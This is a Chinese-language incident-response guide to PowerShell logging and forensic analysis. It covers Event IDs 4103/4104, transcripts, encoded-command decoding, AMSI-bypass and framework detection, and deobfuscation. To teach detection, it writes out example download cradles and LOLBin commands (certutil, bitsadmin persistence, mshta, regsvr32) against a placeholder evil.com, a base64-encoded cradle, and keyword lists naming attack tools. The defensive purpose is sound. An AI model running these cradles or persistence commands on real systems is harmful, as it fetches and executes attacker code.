PowerShell日志与脚本分析
攻击者滥用PowerShell的频率极高——从初始投递(download cradle)到后渗透(Empire/CobaltStrike)几乎全链路依赖PS
本章覆盖三类日志的开启与分析、编码命令解码、常见攻击框架识别、AMSI绕过检测与反混淆技术
交叉参考: 03-事件日志分析 | 09-历史记录与时间线分析
一、PowerShell三大日志类型总览
1.1 Module Logging (Event ID 4103)
记录模块级别的pipeline执行详情,包括参数绑定、输出对象
适合追踪”执行了哪些cmdlet、传了什么参数”
日志路径: Microsoft-Windows-PowerShell/Operational
单条事件可能很大(包含完整参数),高频环境下日志量剧增
启用方式 - GPO
路径: Computer Configuration → Administrative Templates → Windows Components → Windows PowerShell → Turn on Module Logging
Module Names填 * 表示记录所有模块
启用方式 - 注册表
1 2 3 4 5 6
| New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging" -Force Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging" -Name "EnableModuleLogging" -Value 1
New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging\ModuleNames" -Force Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging\ModuleNames" -Name "*" -Value "*"
|
4103事件关键字段
Payload — 完整的pipeline执行内容
ContextInfo — 包含Host Application(启动命令行)、User、RunspaceId
CommandInvocation — 具体调用的cmdlet名称
示例查询:
1 2 3
| Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4103} | Where-Object { $_.Message -match 'Net\.WebClient|Invoke-Expression|IEX' } | Select-Object TimeCreated, Message | Format-List
|
1.2 Script Block Logging (Event ID 4104) ★最重要
记录PowerShell引擎实际编译执行的脚本块(Script Block)原文
即使攻击者用-EncodedCommand、多层混淆、变量拼接,4104记录的是解混淆后的最终代码
这是PS日志中最有价值的单一数据源
日志路径: Microsoft-Windows-PowerShell/Operational
启用方式 - GPO
路径: Computer Configuration → Administrative Templates → Windows Components → Windows PowerShell → Turn on PowerShell Script Block Logging
勾选 “Log script block invocation start / stop events” 可额外记录执行时间
启用方式 - 注册表
1 2 3 4
| New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Force Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockInvocationLogging" -Value 1
|
Windows 10+自动记录可疑脚本块
即使未手动启用Script Block Logging,Windows 10/Server 2016+会自动记录被判定为”可疑”的脚本块
判定关键词包括: AdjustTokenPrivileges, IMAGE_NT_OPTIONAL_HDR64_MAGIC, VirtualAlloc, WriteProcessMemory, CreateRemoteThread, ReadProcessMemory 等
但不应依赖此机制——务必显式全量启用
4104事件关键字段
ScriptBlockText — 完整脚本块内容(最关键)
ScriptBlockId — 脚本块的唯一GUID,大脚本会分片,同一ID的多条事件需合并
MessageNumber / MessageTotal — 分片序号/总数
Path — 脚本文件路径(如果从文件执行); 交互式命令此字段为空
Level — Warning级别通常表示系统自动判定为可疑
1.3 Transcription Logging (PowerShell Transcript)
将PowerShell会话的完整输入输出记录到文本文件
包含命令输出结果,这是4103/4104不记录的
缺点: 纯文本文件,易被攻击者删除; 不经过Event Log
启用方式 - GPO
路径: Computer Configuration → Administrative Templates → Windows Components → Windows PowerShell → Turn on PowerShell Transcription
设置输出目录(建议UNC路径到远程共享,防本地删除)
勾选 “Include invocation headers” 记录时间戳
启用方式 - 注册表
1 2 3 4 5
| New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" -Force Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" -Name "EnableTranscripting" -Value 1 Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" -Name "EnableInvocationHeader" -Value 1
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" -Name "OutputDirectory" -Value "\\FileServer\PSTranscripts$"
|
Transcript文件分析
默认路径: $env:USERPROFILE\Documents\PowerShell_transcript.<ComputerName>.<Random>.<Timestamp>.txt
批量搜索可疑内容:
1 2 3 4
| Get-ChildItem -Path "C:\Users\*\Documents\PowerShell_transcript*" -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern "Invoke-Mimikatz|Net\.WebClient|DownloadString|Invoke-Expression|IEX|bypass|AmsiUtils" | Select-Object Path, LineNumber, Line
|
1.4 三种日志对比表
| 特性 |
Module (4103) |
Script Block (4104) |
Transcription |
| 记录位置 |
Event Log |
Event Log |
文本文件 |
| 记录内容 |
cmdlet调用+参数 |
脚本块原文 |
输入+输出 |
| 反混淆 |
部分 |
完全(引擎层) |
仅记录原始输入 |
| 包含输出 |
部分(对象) |
否 |
是 |
| 抗删除 |
转发后可 |
转发后可 |
弱(文件) |
| 推荐级别 |
必开 |
必开 |
建议开 |
二、Event ID 4104 深度分析
2.1 大规模提取4104事件
1 2 3 4 5 6 7
| Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} | Select-Object TimeCreated, @{N='ScriptBlockId';E={$_.Properties[3].Value}}, @{N='ScriptBlockText';E={$_.Properties[2].Value}}, @{N='Path';E={$_.Properties[4].Value}} | Export-Csv -Path "C:\IR\ps_4104_all.csv" -NoTypeInformation -Encoding UTF8
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| $events = Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} $scriptBlocks = @{} foreach ($evt in $events) { $id = $evt.Properties[3].Value $num = $evt.Properties[0].Value $total = $evt.Properties[1].Value $text = $evt.Properties[2].Value if (-not $scriptBlocks.ContainsKey($id)) { $scriptBlocks[$id] = @{ Total=$total; Parts=@{}; Time=$evt.TimeCreated } } $scriptBlocks[$id].Parts[$num] = $text }
foreach ($sb in $scriptBlocks.GetEnumerator()) { $fullScript = ($sb.Value.Parts.GetEnumerator() | Sort-Object Name | ForEach-Object { $_.Value }) -join '' [PSCustomObject]@{ ScriptBlockId = $sb.Key Time = $sb.Value.Time FullScript = $fullScript } } | Export-Csv "C:\IR\ps_4104_merged.csv" -NoTypeInformation
|
2.2 可疑脚本块快速筛选
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| $suspiciousPatterns = @( 'Invoke-Mimikatz', 'Invoke-Kerberoast', 'Invoke-SMBExec', 'Get-GPPPassword', 'Invoke-DCSync', 'Invoke-PowerShellTcp', 'Net\.WebClient', 'DownloadString', 'DownloadFile', 'DownloadData', 'Invoke-Expression', 'IEX\s*\(', 'Invoke-Command.*-Comp', 'FromBase64String', 'EncodedCommand', '-enc\s', 'VirtualAlloc', 'CreateThread', 'memset', 'AmsiUtils', 'amsiInitFailed', 'AmsiScanBuffer', 'Reflection\.Assembly', 'Load\(.*byte', 'DllImport', 'Invoke-Shellcode', 'Invoke-ReflectivePEInjection', 'New-Object.*IO\.MemoryStream', 'IO\.Compression', 'Set-MpPreference.*-Disable', 'Add-MpPreference.*-ExclusionPath' ) $pattern = ($suspiciousPatterns -join '|') Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} | Where-Object { $_.Properties[2].Value -match $pattern } | ForEach-Object { [PSCustomObject]@{ Time = $_.TimeCreated ScriptBlockId = $_.Properties[3].Value MatchedContent = ($_.Properties[2].Value).Substring(0, [Math]::Min(500, $_.Properties[2].Value.Length)) } } | Format-List
|
2.3 关联4104与进程信息
4104事件本身不直接包含PID,需要通过以下方式关联:
方法1: 同一时间窗口的4688(进程创建)事件
方法2: Sysmon Event ID 1 中的powershell.exe进程
方法3: 4103事件的ContextInfo字段包含Host Application
1 2 3 4 5 6 7 8 9 10
| Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4103} | ForEach-Object { if ($_.Message -match 'Host Application\s*=\s*(.+)') { [PSCustomObject]@{ Time = $_.TimeCreated HostApplication = $Matches[1].Trim() } } } | Sort-Object Time | Select-Object -Unique HostApplication | Format-List
|
三、Encoded Commands检测与解码
3.1 -EncodedCommand / -enc 检测
PowerShell支持 -EncodedCommand 参数(可缩写为 -enc, -en, -e),接受Base64编码的UTF-16LE字符串
攻击者常用此方式绕过简单的命令行检测
1 2 3 4 5
| Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} | Where-Object { $_.Properties[8].Value -match '(?i)-e(nc|ncodedcommand)?\s+[A-Za-z0-9+/=]{20,}' } | Select-Object TimeCreated, @{N='CommandLine';E={$_.Properties[8].Value}} | Format-List
|
1 2 3 4 5
| Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; Id=1} | Where-Object { $_.Properties[10].Value -match '(?i)-e(nc|ncodedcommand)?\s+[A-Za-z0-9+/=]{20,}' } | Select-Object TimeCreated, @{N='CommandLine';E={$_.Properties[10].Value}} | Format-List
|
3.2 Base64解码技术
1 2 3 4
| $encoded = "SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEALgAxAC8AcABhAHkAbABvAGEAZAAnACkA" [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($encoded))
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} | ForEach-Object { $cmdline = $_.Properties[8].Value if ($cmdline -match '(?i)-e(nc|ncodedcommand)?\s+([A-Za-z0-9+/=]{20,})') { try { $decoded = [System.Text.Encoding]::Unicode.GetString( [System.Convert]::FromBase64String($Matches[2])) [PSCustomObject]@{ Time = $_.TimeCreated Encoded = $Matches[2].Substring(0, [Math]::Min(80, $Matches[2].Length)) + "..." Decoded = $decoded } } catch {} } } | Format-List
|
3.3 双重/多重编码检测
攻击者可能对payload进行多层编码: Base64→Gzip→Base64
典型模式:
1 2 3 4 5 6 7 8 9 10
| function Decode-GzipBase64 { param([string]$Base64String) $bytes = [Convert]::FromBase64String($Base64String) $ms = New-Object IO.MemoryStream(,$bytes) $gz = New-Object IO.Compression.GzipStream($ms, [IO.Compression.CompressionMode]::Decompress) $sr = New-Object IO.StreamReader($gz) $sr.ReadToEnd() $sr.Close() }
|
四、Download Cradle模式识别
4.1 PowerShell原生下载方式
Net.WebClient系列 (最常见)
1 2 3 4 5 6 7 8 9 10 11 12
| IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')
(New-Object Net.WebClient).DownloadFile('http://evil.com/mal.exe','C:\Users\Public\mal.exe')
[Reflection.Assembly]::Load((New-Object Net.WebClient).DownloadData('http://evil.com/payload.dll'))
$wc = New-Object Net.WebClient $wc.DownloadStringAsync('http://evil.com/payload.ps1')
|
Invoke-WebRequest / Invoke-RestMethod (PS3+)
1 2 3 4 5 6 7 8
| IEX (Invoke-WebRequest -Uri 'http://evil.com/payload.ps1' -UseBasicParsing).Content
IEX (iwr 'http://evil.com/payload.ps1' -useb).Content
IEX (Invoke-RestMethod 'http://evil.com/payload.ps1')
|
System.Net.HttpClient (.NET 4.5+)
1 2 3
| $client = [System.Net.Http.HttpClient]::new() $task = $client.GetStringAsync('http://evil.com/payload.ps1') IEX $task.Result
|
XML/COM对象变体
1 2 3 4 5 6 7 8 9 10 11
| $x = New-Object -ComObject Msxml2.XMLHTTP $x.Open('GET','http://evil.com/payload.ps1',$false) $x.Send() IEX $x.responseText
$h = New-Object -ComObject WinHttp.WinHttpRequest.5.1 $h.Open('GET','http://evil.com/payload.ps1',$false) $h.Send() IEX $h.ResponseText
|
4.2 LOLBins下载方式
certutil
1 2 3 4 5
| :: 下载文件 certutil -urlcache -split -f http://evil.com/mal.exe C:\Users\Public\mal.exe :: 下载并解码Base64 certutil -urlcache -split -f http://evil.com/encoded.txt C:\temp\enc.txt certutil -decode C:\temp\enc.txt C:\temp\mal.exe
|
检测:
1 2 3
| Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} | Where-Object { $_.Properties[8].Value -match 'certutil.*(-urlcache|-decode)' } | Select-Object TimeCreated, @{N='Cmd';E={$_.Properties[8].Value}}
|
bitsadmin
1 2 3 4 5 6 7
| :: BITS传输下载 bitsadmin /transfer myJob /download /priority high http://evil.com/mal.exe C:\Users\Public\mal.exe :: 创建持久化BITS任务 bitsadmin /create backdoor bitsadmin /addfile backdoor http://evil.com/mal.exe C:\Users\Public\mal.exe bitsadmin /SetNotifyCmdLine backdoor C:\Users\Public\mal.exe NULL bitsadmin /resume backdoor
|
检测BITS异常任务:
1 2 3 4 5 6 7 8 9
| Get-BitsTransfer -AllUsers | Select-Object DisplayName, JobState, TransferType, @{N='RemoteURL';E={$_.FileList.RemoteName}}, @{N='LocalFile';E={$_.FileList.LocalName}} | Format-List
Get-WinEvent -LogName 'Microsoft-Windows-Bits-Client/Operational' | Where-Object { $_.Message -match 'http|ftp' } | Select-Object TimeCreated, Message -First 50
|
mshta / msiexec / rundll32 / regsvr32
1 2 3 4 5 6 7 8 9 10 11
| :: mshta执行远程HTA(含VBScript/JScript) mshta http://evil.com/payload.hta
:: msiexec安装远程MSI msiexec /q /i http://evil.com/mal.msi
:: rundll32加载远程DLL (通过SMB/WebDAV) rundll32 \\evil.com\share\mal.dll,EntryPoint
:: regsvr32 Squiblydoo (AppLocker bypass) regsvr32 /s /n /u /i:http://evil.com/payload.sct scrobj.dll
|
4.3 下载行为综合检测
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| $downloadPatterns = @( 'DownloadString', 'DownloadFile', 'DownloadData', 'Invoke-WebRequest', 'Invoke-RestMethod', 'iwr ', 'irm ', 'Net\.WebClient', 'HttpClient', 'WebRequest::Create', 'Start-BitsTransfer', 'Msxml2\.XMLHTTP', 'WinHttp', 'certutil.*-urlcache', 'bitsadmin.*\/transfer', 'mshta\s+http', 'msiexec.*\/i\s+http', 'regsvr32.*\/i:http', 'cscript.*http', 'wscript.*http' ) $regex = ($downloadPatterns -join '|')
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} -MaxEvents 50000 | Where-Object { $_.Properties[8].Value -match $regex } | Select-Object TimeCreated, @{N='User';E={$_.Properties[1].Value}}, @{N='Process';E={$_.Properties[5].Value}}, @{N='CommandLine';E={$_.Properties[8].Value}} | Export-Csv "C:\IR\download_cradles.csv" -NoTypeInformation
|
五、AMSI绕过检测
5.1 AMSI (Anti-Malware Scan Interface) 概述
Windows 10+内置,让AV引擎扫描脚本引擎(PS, VBScript, JScript, VBA)传递的内容
攻击者必须绕过AMSI才能在内存中执行恶意PS脚本
绕过AMSI通常是攻击链的第一步,检测到AMSI bypass = 确认恶意活动
5.2 常见AMSI绕过手法与检测
amsiInitFailed 篡改
原理: 将 amsiContext 设为空导致初始化失败,后续扫描全部跳过
4104中搜索:
1 2 3
| Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} | Where-Object { $_.Properties[2].Value -match '(?i)amsiInitFailed|AmsiUtils|amsiContext' } | Select-Object TimeCreated, @{N='Script';E={$_.Properties[2].Value.Substring(0,300)}}
|
AmsiScanBuffer Patch
原理: 使用反射获取 AmsiScanBuffer 函数地址,patch入口使其直接返回 AMSI_RESULT_CLEAN
检测关键词: AmsiScanBuffer, VirtualProtect, Marshal.Copy, amsi.dll, GetProcAddress
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| $amsiBypassKeywords = @( 'AmsiScanBuffer', 'AmsiUtils', 'amsiInitFailed', 'amsiContext', 'VirtualProtect.*amsi', 'Marshal\.Copy.*amsi', 'Reflection.*amsi', 'GetProcAddress.*amsi', 'System\.Management\.Automation\.AmsiUtils', 'SetValue.*NonPublic.*amsiInitFailed' ) $pattern = ($amsiBypassKeywords -join '|') Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} | Where-Object { $_.Properties[2].Value -match $pattern } | ForEach-Object { Write-Host "=== AMSI Bypass Detected at $($_.TimeCreated) ===" -ForegroundColor Red Write-Host $_.Properties[2].Value.Substring(0, [Math]::Min(500, $_.Properties[2].Value.Length)) Write-Host "" }
|
CLR Hooking / 第三方工具
工具如 SharpBlock, ThreatCheck 帮助攻击者定位AMSI触发点并自动patch
检测: Sysmon Event ID 7 (Image Load) 监控非标准DLL注入到PowerShell进程
5.3 AMSI事件日志
Windows Defender记录AMSI检测:
1 2 3 4 5 6
| Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Windows Defender/Operational'; Id=1116} | Where-Object { $_.Message -match 'AMSI' } | Select-Object TimeCreated, Message -First 20 | Format-List
|
六、Constrained Language Mode (CLM) 检测
6.1 CLM概述
PowerShell语言模式: FullLanguage (默认), ConstrainedLanguage, RestrictedLanguage, NoLanguage
CLM限制: 禁止.NET类型直接调用、COM对象、Add-Type、反射等——大幅削弱攻击能力
通常通过AppLocker或WDAC(Windows Defender Application Control)策略自动启用
检查当前模式: $ExecutionContext.SessionState.LanguageMode
6.2 检测CLM被绕过
攻击者绕过CLM的方式:
降级攻击: 调用PowerShell v2 (powershell -version 2), v2不支持CLM
使用未受限的PowerShell runspace
通过自定义.NET host加载PS引擎
1 2 3 4 5 6 7 8 9 10 11
| Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} | Where-Object { $_.Properties[8].Value -match 'powershell.*-version\s+2' -or $_.Properties[8].Value -match 'powershell.*-v\s+2' } | Select-Object TimeCreated, @{N='CommandLine';E={$_.Properties[8].Value}}
Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root
Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root -NoRestart
|
1 2 3 4 5 6
| Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} | Where-Object { $script = $_.Properties[2].Value $script -match 'LanguageMode' -and $script -match 'FullLanguage' } | Select-Object TimeCreated, @{N='Script';E={$_.Properties[2].Value.Substring(0,300)}}
|
七、常见攻击框架识别
7.1 PowerSploit / PowerShell Empire
PowerSploit常见函数名(4104中搜索):
Invoke-Mimikatz, Invoke-TokenManipulation, Invoke-ReflectivePEInjection
Invoke-Shellcode, Invoke-DllInjection, Invoke-WMICommand
Get-GPPPassword, Get-Keystrokes, Get-TimedScreenshot
PowerView: Get-NetDomain, Get-NetUser, Get-NetComputer, Get-DomainController
Invoke-ShareFinder, Invoke-FileFinder, Find-LocalAdminAccess
Empire特征:
stager中常见: $wc=New-Object Net.WebClient;$wc.Proxy...;IEX $wc.DownloadString(...)
通信使用cookie和User-Agent伪装
函数名可能被混淆,但4104会记录解混淆后的版本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| $frameworkPatterns = @( 'Invoke-Mimikatz', 'Invoke-Kerberoast', 'Invoke-SMBExec', 'Invoke-DCSync', 'Get-GPPPassword', 'Invoke-PowerShellTcp', 'Invoke-ReflectivePEInjection', 'Invoke-Shellcode', 'Invoke-TokenManipulation', 'Get-Keystrokes', 'PowerView', 'Get-NetDomain', 'Find-LocalAdminAccess', 'Invoke-ShareFinder', 'Invoke-Portscan', 'Invoke-BloodHound', 'Get-NetComputer.*-Unconstrained' ) $regex = ($frameworkPatterns -join '|') Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} | Where-Object { $_.Properties[2].Value -match $regex } | Select-Object TimeCreated, @{N='Matched';E={ foreach($p in $frameworkPatterns) { if($_.Properties[2].Value -match $p) { $p } } }} | Format-Table -AutoSize
|
7.2 Cobalt Strike PowerShell Stager
典型stager特征(4104中可见):
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String(...)) + Gzip解压
Invoke-Expression / IEX 执行解压后的beacon
HTTP(S)通信,User-Agent伪装为合法浏览器
Beacon PowerShell命令特征:
powershell -nop -w hidden -encodedcommand ...
powerpick 使用unmanaged PowerShell (无powershell.exe进程!)
jump psexec / jump winrm 横向移动
1 2 3 4 5 6 7 8 9 10
| $csPatterns = @( 'ServerCertificateValidationCallback', 'IO\.MemoryStream.*FromBase64String.*GzipStream', '-nop\s+-w\s+hidden.*-enc', 'beacon\.dll', 'beacon\.exe', 'Invoke-SMBExec', 'Invoke-WMIExec', '\$DoIt\s*=', 'func_get_proc_address', 'func_get_delegate_type' )
|
7.3 其他框架
Covenant/Grunt: GruntHTTP, GruntSMB, SharpSploit .NET程序集引用
Sliver: 通常不依赖PowerShell,但可通过PS执行stager
Nishang: Invoke-PowerShellTcp, Invoke-PowerShellUdp, Invoke-PsGcat
PoshC2: posh-server, dropper中常见随机变量名和Base64
八、反混淆(Deobfuscation)技术
8.1 常见混淆手法
字符串拼接: ('Inv'+'oke'+'-Exp'+'ression') → Invoke-Expression
格式化字符串: ("{2}{0}{1}" -f 'ke-Ex','pression','Invo') → Invoke-Expression
字符替换: 'Invoke-Expression'.Replace('x','x') (可替换为不同字符)
Tick混淆: `I`n`v`o`k`e`-`E`x`p`r`e`s`s`i`o`n (反引号在PS中是转义字符但字母前无效)
变量替换: $a='IEX';$b='(New-Object Net.WebClient).DownloadString(...)';.($a) $b
ScriptBlock调用: & ([scriptblock]::Create('IEX ...'))
反转字符串: $r = 'noisserp';(-join $r[$r.Length..0])
编码: Base64, XOR, AES加密payload
8.2 为什么4104能对抗混淆
PowerShell引擎在编译执行脚本块之前记录4104
这意味着:
字符串拼接会被解析为最终字符串
变量会被展开
-EncodedCommand 会被解码
Gzip解压后的内容会被记录
但注意: 如果攻击者使用 Add-Type 编译C#代码或加载.NET程序集,C#代码本身可能不会完整出现在4104中
8.3 手动反混淆工具与技巧
PSDecode (自动反混淆)
1 2 3 4
| Install-Module -Name PSDecode -Force
PSDecode -dump -verbose .\obfuscated_script.ps1
|
安全的手动反混淆
原则: 绝对不要在调查机器上直接运行可疑脚本
Revoke-Obfuscation (Daniel Bohannon)
专门检测Invoke-Obfuscation生成的混淆脚本
使用AST(抽象语法树)分析和字符频率统计
1 2 3 4
| Import-Module Revoke-Obfuscation $scriptBlock = Get-Content .\suspicious.ps1 -Raw Measure-RvoObfuscation -ScriptBlock $scriptBlock
|
CyberChef离线分析
适合多层编码的解码: Base64 → Gunzip → Base64 → XOR
Recipe链式操作,可视化每一层解码结果
推荐在隔离环境中使用
8.4 Invoke-Obfuscation检测特征
Daniel Bohannon的Invoke-Obfuscation产生的混淆代码有统计特征:
反引号(tick)密度异常高
字符串拼接/格式化运算符异常密集
变量名随机化(长随机字符串)
圆括号嵌套层数异常深
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} | ForEach-Object { $text = $_.Properties[2].Value if ($text.Length -gt 100) { $tickCount = ([regex]::Matches($text, '`')).Count $concatCount = ([regex]::Matches($text, "'\s*\+\s*'")).Count $formatCount = ([regex]::Matches($text, '"\s*-f\s')).Count $score = $tickCount + ($concatCount * 2) + ($formatCount * 3) if ($score -gt 10) { [PSCustomObject]@{ Time = $_.TimeCreated Length = $text.Length ObfScore = $score Preview = $text.Substring(0, [Math]::Min(200, $text.Length)) } } } } | Sort-Object ObfScore -Descending | Select-Object -First 20
|
九、实战分析流程
9.1 完整排查SOP
Step 1: 确认三大日志是否启用
1 2 3 4 5 6
| Get-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging" -ErrorAction SilentlyContinue
Get-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -ErrorAction SilentlyContinue
Get-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" -ErrorAction SilentlyContinue
|
Step 2: 导出所有4104事件并合并分片脚本块
Step 3: 关键词扫描(download cradle, AMSI bypass, 框架函数名)
Step 4: 对匹配项进行时间线排序,确定攻击顺序
Step 5: 关联4103获取执行用户和Host Application
Step 6: 关联4688/Sysmon获取进程树
Step 7: 反混淆并提取IOC(URL, IP, 文件路径, 注册表键)
9.2 快速分诊脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| $outputDir = "C:\IR\PS_Triage_$(Get-Date -Format yyyyMMdd_HHmmss)" New-Item -ItemType Directory -Path $outputDir -Force | Out-Null
Write-Host "[*] Exporting 4104 events..." -ForegroundColor Cyan Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} -ErrorAction SilentlyContinue | Select-Object TimeCreated, @{N='ScriptBlockId';E={$_.Properties[3].Value}}, @{N='Path';E={$_.Properties[4].Value}}, @{N='ScriptBlockText';E={$_.Properties[2].Value}} | Export-Csv "$outputDir\4104_events.csv" -NoTypeInformation -Encoding UTF8
Write-Host "[*] Exporting 4103 events..." -ForegroundColor Cyan Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4103} -ErrorAction SilentlyContinue | Select-Object TimeCreated, Message | Export-Csv "$outputDir\4103_events.csv" -NoTypeInformation -Encoding UTF8
Write-Host "[*] Searching for suspicious patterns..." -ForegroundColor Cyan $suspicious = Import-Csv "$outputDir\4104_events.csv" | Where-Object { $_.ScriptBlockText -match 'DownloadString|DownloadFile|Invoke-Expression|IEX|AmsiUtils|Mimikatz|FromBase64String|VirtualAlloc|CreateThread|Net\.WebClient|Invoke-Shellcode|Invoke-ReflectivePEInjection' } $suspicious | Export-Csv "$outputDir\suspicious_scripts.csv" -NoTypeInformation -Encoding UTF8
Write-Host "[*] Collecting transcript files..." -ForegroundColor Cyan Get-ChildItem -Path "C:\Users\*\Documents\PowerShell_transcript*" -Recurse -ErrorAction SilentlyContinue | Copy-Item -Destination $outputDir -ErrorAction SilentlyContinue
Write-Host "[+] Triage complete. Output: $outputDir" -ForegroundColor Green Write-Host "[+] Total 4104 events: $((Import-Csv "$outputDir\4104_events.csv").Count)" -ForegroundColor Green Write-Host "[+] Suspicious scripts: $($suspicious.Count)" -ForegroundColor Yellow
|
9.3 离线日志分析(evtx文件)
当无法在目标机器上交互式分析时:
1 2 3 4 5 6 7
| Copy-Item "C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Operational.evtx" "C:\IR\"
Get-WinEvent -Path "C:\IR\Microsoft-Windows-PowerShell%4Operational.evtx" -FilterHashtable @{Id=4104} | Select-Object TimeCreated, @{N='Script';E={$_.Properties[2].Value}} | Export-Csv "C:\IR\offline_4104.csv" -NoTypeInformation
|
工具推荐:
EvtxECmd (Eric Zimmerman): 快速解析evtx到CSV/JSON
Hayabusa: 基于Sigma规则的evtx分析工具,自动匹配威胁
DeepBlueCLI: 专门针对PS日志的检测脚本
Timeline Explorer: 可视化CSV时间线
十、加固建议
必须全量启用Script Block Logging(4104)和Module Logging(4103)
启用Transcription并输出到远程共享(防删除)
移除PowerShell v2 (Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root)
启用Constrained Language Mode(通过WDAC/AppLocker)
配置Event Log转发到SIEM(日志量大,确保存储足够)
增大PowerShell Operational日志大小:
1
| wevtutil sl Microsoft-Windows-PowerShell/Operational /ms:1073741824
|
部署Sysmon增强进程监控(补充4688不记录的父子进程关系)
配置AMSI provider确保覆盖所有脚本引擎